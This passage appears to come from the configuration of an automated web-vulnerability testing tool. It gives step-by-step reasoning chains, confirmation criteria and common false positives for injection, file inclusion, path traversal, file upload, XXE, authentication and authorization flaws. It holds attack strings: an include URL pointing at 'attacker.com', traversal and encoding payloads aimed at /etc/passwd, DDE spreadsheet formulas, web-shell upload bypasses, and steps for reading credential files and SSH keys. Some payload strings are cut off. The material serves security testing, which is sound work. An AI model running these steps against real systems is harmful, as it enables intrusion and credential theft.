]
},
"html_injection": {
"reasoning_chain": [
"STEP 1 - FIND REFLECTION: Locate input reflected in HTML response body",
"STEP 2 - INJECT HTML: Send test,
injected
,
",
"STEP 3 - CHECK RENDERING: Does injected HTML render in the page (not escaped)?",
"STEP 4 - TEST IMPACT: Can you inject forms, links, or content that deceives users?",
"STEP 5 - DISTINGUISH FROM XSS: HTML injection WITHOUT script execution",
"STEP 6 - PROVE: Show rendered HTML that could deceive or phish users"
],
"decision_criteria": {
"confirmed": "Injected HTML tags render in page (visible formatting, images, forms)",
"likely": "Some HTML tags render but limited impact (no forms/links)",
"rejected": "All HTML encoded, tags stripped, or only text rendered"
},
"proof_requirements": [
"Must show RENDERED HTML in browser (not just unescaped source)",
"Higher impact: phishing forms, fake login, deceptive content",
"Distinguish from XSS: HTML injection = no JavaScript execution"
],
"common_pitfalls": [
"HTML entities showing in source but rendered normally = proper encoding",
"Markdown rendering is not HTML injection",
"Some tags allowed by design (rich text editors)"
]
},
"csv_injection": {
"reasoning_chain": [
"STEP 1 - FIND EXPORTS: Locate CSV/Excel export functionality",
"STEP 2 - INJECT FORMULAS: Submit =cmd|'/C calc'!A0, =HYPERLINK(), +cmd in input fields",
"STEP 3 - EXPORT AND CHECK: Download exported CSV, check if formula preserved",
"STEP 4 - OPEN IN EXCEL: Does spreadsheet app evaluate the formula?",
"STEP 5 - TEST DDE: Try =DDE('cmd','/C calc','') for Dynamic Data Exchange",
"STEP 6 - PROVE: Show formula execution when opening exported CSV in Excel"
],
"decision_criteria": {
"confirmed": "Formula preserved in export AND executes when opened in spreadsheet application",
"likely": "Formula preserved in CSV but execution requires user interaction/enabling macros",
"rejected": "Formulas escaped (prepended with '), stripped, or not preserved in export"
},
"proof_requirements": [
"Must show formula preserved in downloaded CSV file",
"Best: demonstrate execution in Excel/LibreOffice Calc",
"Note: modern Excel shows security warnings (reduces severity)"
],
"common_pitfalls": [
"Stored formula in DB but escaped on export = NOT vulnerable",
"Modern Excel blocks DDE by default (lower severity)",
"CSV injection is often disputed as vulnerability (depends on context)"
]
},
"orm_injection": {
"reasoning_chain": [
"STEP 1 - IDENTIFY ORM: Detect ORM framework (Hibernate, SQLAlchemy, ActiveRecord, Sequelize)",
"STEP 2 - FIND DYNAMIC QUERIES: Look for endpoints using user input in ORM queries",
"STEP 3 - TEST MANIPULATION: Inject ORM-specific syntax (HQL, JPQL, Criteria API params)",
"STEP 4 - BYPASS ORM SAFETY: Test raw query escapes, native queries, order-by injection",
"STEP 5 - EXTRACT DATA: Use ORM query manipulation to access unintended data",
"STEP 6 - PROVE: Show data access beyond ORM model constraints"
],
"decision_criteria": {
"confirmed": "ORM query manipulated to return data outside intended model scope",
"likely": "ORM error reveals query structure but no data extraction",
"rejected": "ORM parameterization prevents injection, input validated"
},
"proof_requirements": [
"Must show ORM query manipulation (not just SQL injection through ORM)",
"HQL/JPQL injection: show entity traversal or cross-model data access",
"Order-by injection: show controllable sorting revealing data"
],
"common_pitfalls": [
"ORM error with query fragment ≠ injectable (might be debug info)",
"Most ORMs parameterize by default - injection requires explicit raw queries",
"Order-by is often the only injectable point in well-coded ORM usage"
]
},
# ── File Access Vulnerabilities ───────────────────────────────
"rfi": {
"reasoning_chain": [
"STEP 1 - IDENTIFY INCLUDES: Find parameters loading files (page=, include=, template=)",
"STEP 2 - TEST REMOTE URL: Set parameter to http://attacker.com/malicious.php",
"STEP 3 - CHECK CALLBACK: Did target server request our file? (check web server logs)",
"STEP 4 - TEST WRAPPERS: Try data://, expect://, php://input with POST body",
"STEP 5 - CHECK EXECUTION: Is the remote file executed server-side?",
"STEP 6 - PROVE: Show remote code execution via included external file"
],
"decision_criteria": {
"confirmed": "Remote file fetched AND executed server-side (command output visible)",
"likely": "Remote file fetched but execution not confirmed (content reflected only)",
"rejected": "Remote URLs blocked, only local files allowed, allow_url_include=Off"
},
"proof_requirements": [
"Must show server fetched remote URL (HTTP callback in logs)",
"For RCE: show PHP/code execution output from included file",
"Distinguish from SSRF: RFI = code inclusion/execution, SSRF = request making"
],
"common_pitfalls": [
"PHP allow_url_include disabled by default since PHP 5.2",
"File inclusion without execution is SSRF, not RFI",
"Including HTML file that renders is HTML injection, not RFI"
]
},
"path_traversal": {
"reasoning_chain": [
"STEP 1 - FIND FILE PARAMS: Locate parameters referencing files (filename=, path=, doc=)",
"STEP 2 - TEST TRAVERSAL: Send ../../../etc/passwd, ....//....//etc/passwd",
"STEP 3 - TEST ENCODING: Try %2e%2e%2f, ..%252f, %c0%ae%c0%ae/ double encoding",
"STEP 4 - VERIFY CONTENT: Response must contain actual file content",
"STEP 5 - MAP FILESYSTEM: Read application configs, source code, credentials",
"STEP 6 - PROVE: Show sensitive file content from outside application directory"
],
"decision_criteria": {
"confirmed": "File content from outside web root visible (e.g., /etc/passwd, win.ini)",
"likely": "Error reveals filesystem path but no content read",
"rejected": "Path normalized, traversal blocked, or chroot prevents escape"
},
"proof_requirements": [
"File content must be recognizable (not just different response size)",
"Show content from OUTSIDE the web application directory",
"For Windows: ....\\\\....\\\\windows\\\\win.ini or similar"
],
"common_pitfalls": [
"Path in error message ≠ file read (just information disclosure)",
"Relative path within application directory may be intended",
"Chroot/containerization may limit traversal scope"
]
},
"file_upload": {
"reasoning_chain": [
"STEP 1 - IDENTIFY UPLOAD: Find file upload forms (profile pictures, documents, attachments)",
"STEP 2 - TEST EXTENSION BYPASS: Upload .php, .php5, .phtml, .jsp, .aspx with web shell content",
"STEP 3 - TEST CONTENT-TYPE: Change Content-Type header to image/jpeg while uploading script",
"STEP 4 - TEST DOUBLE EXTENSION: Try file.php.jpg, file.php%00.jpg, file.php;.jpg",
"STEP 5 - FIND UPLOADED FILE: Locate where file is stored and if it's web-accessible",
"STEP 6 - PROVE: Access uploaded file via URL and show server-side code execution"
],
"decision_criteria": {
"confirmed": "Uploaded script executed server-side when accessed via URL",
"likely": "Script uploaded successfully but execution not confirmed (can't find URL)",
"rejected": "Upload rejected, file renamed to safe extension, or stored outside web root"
},
"proof_requirements": [
"Must show BOTH: 1) File uploaded 2) Code executes when accessed",
"For RCE: OS command output from uploaded web shell",
"For XSS: uploaded HTML/SVG rendering with script execution"
],
"common_pitfalls": [
"File uploaded but stored in non-web-accessible directory = no direct impact",
"Server renames file to .txt or adds random prefix = lower risk",
"Image processing libraries may strip embedded code"
]
},
"arbitrary_file_read": {
"reasoning_chain": [
"STEP 1 - FIND FILE PARAMETERS: Locate any parameter that references files on disk",
"STEP 2 - TEST ABSOLUTE PATHS: Try /etc/passwd, /etc/shadow, C:\\Windows\\win.ini",
"STEP 3 - TEST SYMLINK TRAVERSAL: Upload symlink pointing to sensitive file",
"STEP 4 - READ APP CONFIG: Target .env, database.yml, config.php, web.config",
"STEP 5 - READ CREDENTIALS: Target credential files, SSH keys, API keys",
"STEP 6 - PROVE: Show sensitive file content (credentials, configs, system files)"
],
"decision_criteria": {
"confirmed": "Sensitive file content returned (credentials, system files, configs)",
"likely": "File content returned but not yet sensitive (non-critical files)",
"rejected": "File read blocked, path restricted, or permission denied"
},
"proof_requirements": [
"Must show actual file content (not just 200 response)",
"Content must be recognizable (config format, /etc/passwd lines, etc.)",
"Higher impact: credentials, API keys, private keys"
],
"common_pitfalls": [
"200 response with no file content = server didn't process the path",
"Reading application's own static files is usually intended",
"Container/chroot may limit file access scope"
]
},
"xxe": {
"reasoning_chain": [
"STEP 1 - IDENTIFY XML: Find endpoints accepting XML (Content-Type: text/xml, SOAP, RSS, SVG upload)",
"STEP 2 - TEST ENTITY: Inject ]>&xxe;",
"STEP 3 - CHECK RESPONSE: Does entity value appear in response? (file content or error with path)",
"STEP 4 - READ FILES: Try /etc/passwd, application config files",
"STEP 5 - TEST OOB: If no direct output, try out-of-band (XXE to external DTD with data exfil)",
"STEP 6 - PROVE: Show file content extracted via XML entity expansion"
],
"decision_criteria": {
"confirmed": "File content extracted via entity (hostname, /etc/passwd content visible)",
"likely": "XML parser error reveals file path or entity processing",
"rejected": "XML rejected, entities disabled, or no entity processing observed"
},
"proof_requirements": [
"Entity must resolve to actual file content (not just be parsed)",
"OOB: DNS/HTTP callback with data confirms blind XXE",
"Error-based: XML error must show file content in error message"
],
"common_pitfalls": [
"Modern XML parsers disable external entities by default",
"JSON endpoints with XML Content-Type might not parse XML at all",
"SVG/DOCX XXE requires file upload, not direct injection"
]
},
"zip_slip": {
"reasoning_chain": [
"STEP 1 - FIND UPLOAD: Locate archive upload (ZIP, TAR, JAR) functionality",
"STEP 2 - CRAFT ARCHIVE: Create ZIP with path traversal entries (../../etc/cron.d/malicious)",
"STEP 3 - UPLOAD ARCHIVE: Submit the crafted archive for server-side extraction",
"STEP 4 - CHECK EXTRACTION: Does the server extract files to traversed paths?",
"STEP 5 - VERIFY WRITE: Confirm file written outside intended directory",
"STEP 6 - PROVE: Show file written to arbitrary path (web shell, cron job, config overwrite)"
],
"decision_criteria": {
"confirmed": "File written to path outside extraction directory (web shell accessible, config overwritten)",
"likely": "Archive accepted but can't verify extraction behavior",
"rejected": "Server validates/sanitizes file paths in archive, or rejects traversal entries"
},
"proof_requirements": [
"Must show file written OUTSIDE intended extraction directory",
"Best: access written file via URL or see its effect (cron execution, config change)",
"Alternative: error message revealing write attempt to traversed path"
],
"common_pitfalls": [
"Archive uploaded but not auto-extracted = no Zip Slip",
"Server may extract to temp directory then move (sanitizing paths)",
"Container filesystem may limit impact of path traversal"
]
},
# ── Authentication ────────────────────────────────────────────
"auth_bypass": {
"reasoning_chain": [
"STEP 1 - MAP AUTH: Identify authentication endpoints (login, register, password reset)",
"STEP 2 - TEST WITHOUT AUTH: Access protected endpoints without any credentials",
"STEP 3 - TEST MODIFIED TOKENS: Tamper with session cookies, JWT claims, auth headers",
"STEP 4 - TEST ALTERNATIVE AUTH: Try different auth methods (Basic, Bearer, API key, cookie)",
"STEP 5 - VERIFY ACCESS: Confirm you accessed protected functionality",
"STEP 6 - PROVE: Show protected data/functionality accessible without valid auth"
],
"decision_criteria": {
"confirmed": "Protected endpoint returns sensitive data/functionality without valid credentials",
"likely": "200 response without auth but can't verify if data is actually protected",
"rejected": "Properly redirected to login, 401/403 returned, or public data"
},
"proof_requirements": [
"Must show data/functionality that requires authentication is accessible without it",
"Compare authenticated vs unauthenticated response - must show difference in access",
"For token manipulation: show modified token accepted with elevated access"
],
"common_pitfalls": [
"Public endpoints returning 200 = NOT auth bypass (they're meant to be public)",
"Login page returning 200 = normal behavior (it shows the login form)",
"Health check / status endpoints are intentionally unauthenticated"
]
},
"session_fixation": {
"reasoning_chain": [
"STEP 1 - GET SESSION: Obtain a session ID before authentication",
"STEP 2 - AUTHENTICATE: Login with valid credentials using the pre-auth session",
"STEP 3 - CHECK SESSION: Does the session ID CHANGE after authentication?",
"STEP 4 - TEST FIXATION: If session unchanged, can attacker set it for victim?",
"STEP 5 - VERIFY HIJACK: Use pre-auth session to access post-auth resources",
"STEP 6 - PROVE: Show pre-auth session grants authenticated access after victim logs in"
],
"decision_criteria": {
"confirmed": "Session ID unchanged after login AND pre-auth session grants authenticated access",
"likely": "Session ID unchanged but can't verify cross-user fixation",
"rejected": "Session regenerated on login, or session bound to IP/fingerprint"
},
"proof_requirements": [
"Show session cookie value is identical before and after authentication",
"Demonstrate the pre-auth session has authenticated privileges",
"Ideally: two browsers, one sets session, other uses it after login"
],
"common_pitfalls": [
"Some frameworks regenerate session but keep same cookie name (check VALUE)",
"Session fixation requires ability to SET the session (cookie injection vector)",
"Modern frameworks regenerate sessions on auth by default"
]
},
"default_credentials": {
"reasoning_chain": [
"STEP 1 - IDENTIFY SERVICES: Find login panels, admin interfaces, database panels",
"STEP 2 - DETECT SOFTWARE: Identify the software/device (router, CMS, database, etc.)",
"STEP 3 - LOOKUP DEFAULTS: Check known default credentials for detected software",
"STEP 4 - TEST CREDENTIALS: Try default username:password combinations",
"STEP 5 - VERIFY ACCESS: Confirm successful authentication with default creds",
"STEP 6 - PROVE: Show authenticated session with default credentials"
],
"decision_criteria": {
"confirmed": "Logged in successfully with default/known credentials",
"likely": "Default credentials not rejected but can't verify full access",
"rejected": "Default credentials changed, account locked, or MFA required"
},
"proof_requirements": [
"Must show successful login (authenticated page content, not just 200 status)",
"Show what access level the default credentials provide",
"Document which default credentials worked"
],
"common_pitfalls": [
"Test/demo instances with intended default creds = expected behavior",
"Honeypot login pages that accept anything = NOT default creds",
"Account lockout after N attempts may prevent testing"
]
},
"two_factor_bypass": {
"reasoning_chain": [
"STEP 1 - MAP 2FA FLOW: Understand the two-factor authentication process",
"STEP 2 - TEST DIRECT ACCESS: Skip 2FA step, access protected pages directly",
"STEP 3 - TEST CODE MANIPULATION: Try null, empty, 000000, bruteforce short codes",
"STEP 4 - TEST RACE CONDITION: Submit multiple 2FA codes simultaneously",
"STEP 5 - TEST ALTERNATE PATHS: Use password reset, API endpoints to bypass 2FA",
"STEP 6 - PROVE: Show full authenticated access without completing 2FA"
],
"decision_criteria": {
"confirmed": "Fully authenticated session obtained without valid 2FA code",
"likely": "2FA step skippable but protected content unclear",
"rejected": "2FA properly enforced, all bypass attempts blocked"
},
"proof_requirements": [
"Must show protected content/functionality accessible without valid 2FA",
"Compare with normal 2FA flow to prove the bypass",
"For brute force: show successful code guess within rate limit"
],
"common_pitfalls": [
"2FA not required for certain endpoints = design choice, not bypass",
"Remember-me token skipping 2FA = intended functionality",
"API tokens generated before 2FA enabled may bypass it by design"
]
},
"oauth_misconfiguration": {
"reasoning_chain": [
"STEP 1 - MAP OAUTH FLOW: Identify OAuth provider, grant type, redirect URIs",
"STEP 2 - TEST REDIRECT: Modify redirect_uri to attacker domain",
"STEP 3 - TEST STATE: Remove or reuse state parameter (CSRF in OAuth)",
"STEP 4 - TEST SCOPE: Request elevated scopes not intended for the app",
"STEP 5 - TEST TOKEN LEAKAGE: Check if tokens leak via referer, URL fragments",
"STEP 6 - PROVE: Show token theft via redirect manipulation or scope escalation"
],
"decision_criteria": {
"confirmed": "OAuth token/code redirected to attacker domain, or scope escalation achieved",
"likely": "Redirect URI validation weak but token not yet captured",
"rejected": "Strict redirect URI validation, state checked, scopes limited"
},
"proof_requirements": [
"For redirect: show authorization code/token sent to attacker URL",
"For state bypass: show CSRF-able OAuth flow",
"For scope: show elevated permissions granted beyond intended"
],
"common_pitfalls": [
"Open redirect in redirect_uri subdomain ≠ full OAuth misconfiguration",
"Implicit grant (token in fragment) doesn't send token to redirect server",
"Some OAuth implementations allow localhost for development (not vuln in prod)"
]
},
"jwt_manipulation": {
"reasoning_chain": [
"STEP 1 - DECODE JWT: Extract header (algorithm) and payload (claims)",
"STEP 2 - TEST NONE ALGORITHM: Set alg:none, strip signature",
"STEP 3 - TEST KEY CONFUSION: RS256→HS256 with public key as HMAC secret",
"STEP 4 - TEST WEAK SECRET: Crack HS256 with common wordlists (hashcat/jwt_tool)",
"STEP 5 - MODIFY CLAIMS: Change sub, role, admin, exp claims",
"STEP 6 - PROVE: Show server accepts modified JWT with different user/role access"
],
"decision_criteria": {
"confirmed": "Modified JWT accepted, granting access as different user or elevated role",
"likely": "Algorithm confusion/none accepted but claim changes not verified",
"rejected": "Server validates signature, rejects modified tokens"
},
"proof_requirements": [
"Must show DIFFERENT behavior with modified JWT (not just 200 status)",
"Compare: original JWT response vs modified JWT response",
"For none alg: unsigned token must change server behavior"
],
"common_pitfalls": [
"Server returning same response for any JWT = might ignore JWT entirely",
"Expired JWT errors are normal JWT validation, not vulnerability",
"kid parameter injection might not lead to practical exploitation"
]
},
# ── Authorization ─────────────────────────────────────────────
"mass_assignment": {
"reasoning_chain": [
"STEP 1 - MAP MODELS: Identify user/object creation and update endpoints",
"STEP 2 - FIND HIDDEN FIELDS: Look for undocumented fields (role, isAdmin, verified, plan)",
"STEP 3 - INJECT FIELDS: Add extra fields to POST/PUT/PATCH requests",
"STEP 4 - CHECK ACCEPTANCE: Were the extra fields accepted and stored?",
"STEP 5 - VERIFY EFFECT: Did the mass-assigned field change behavior?",
"STEP 6 - PROVE: Show privilege change or data modification via extra fields"
],
"decision_criteria": {
"confirmed": "Extra field accepted AND resulted in privilege change or unauthorized modification",
"likely": "Field accepted in response but effect not verified",
"rejected": "Extra fields ignored, stripped, or whitelisted fields only"
},
"proof_requirements": [
"Must show the extra field was STORED (not just accepted)",
"Must show EFFECT of the assigned field (elevated role, verified status, etc.)",
"Compare before/after: what changed due to the mass-assigned field"
],
"common_pitfalls": [
"Field accepted in response but not stored in database = NOT mass assignment",
"Field stored but has no security effect = low severity",
"Some APIs echo back all received fields without storing them"
]
},
"forced_browsing": {
"reasoning_chain": [
"STEP 1 - ENUMERATE PATHS: Brute force directories and files with wordlists",
"STEP 2 - FIND HIDDEN RESOURCES: Locate admin panels, backup files, config files",
"STEP 3 - TEST ACCESS: Can discovered resources be accessed without authentication?",
"STEP 4 - CHECK SENSITIVE DATA: Do hidden resources contain sensitive information?",
"STEP 5 - TEST AUTH LEVELS: Access admin resources with regular user credentials",
"STEP 6 - PROVE: Show sensitive resources accessible via direct URL access"
],
"decision_criteria": {
"confirmed": "Sensitive resource accessible via direct URL without proper authorization",
"likely": "Hidden resource found but sensitivity not determined",
"rejected": "All sensitive resources properly protected, returns 403/401"
},
"proof_requirements": [
"Must show the resource is sensitive (admin panel, backup, config, user data)",
"Must show it's accessible without proper authorization",
"Directory listing alone is informational unless containing sensitive files"
],
"common_pitfalls": [
"Public pages found via directory brute force = NOT forced browsing",
"robots.txt entries are informational, not necessarily sensitive",
"404 custom pages returning 200 = false positive in enumeration"
]
},
# ── Client-Side ───────────────────────────────────────────────
"clickjacking": {
"reasoning_chain": [
"STEP 1 - CHECK HEADERS: Does response include X-Frame-Options or CSP frame-ancestors?",
"STEP 2 - TEST IFRAME: Create page with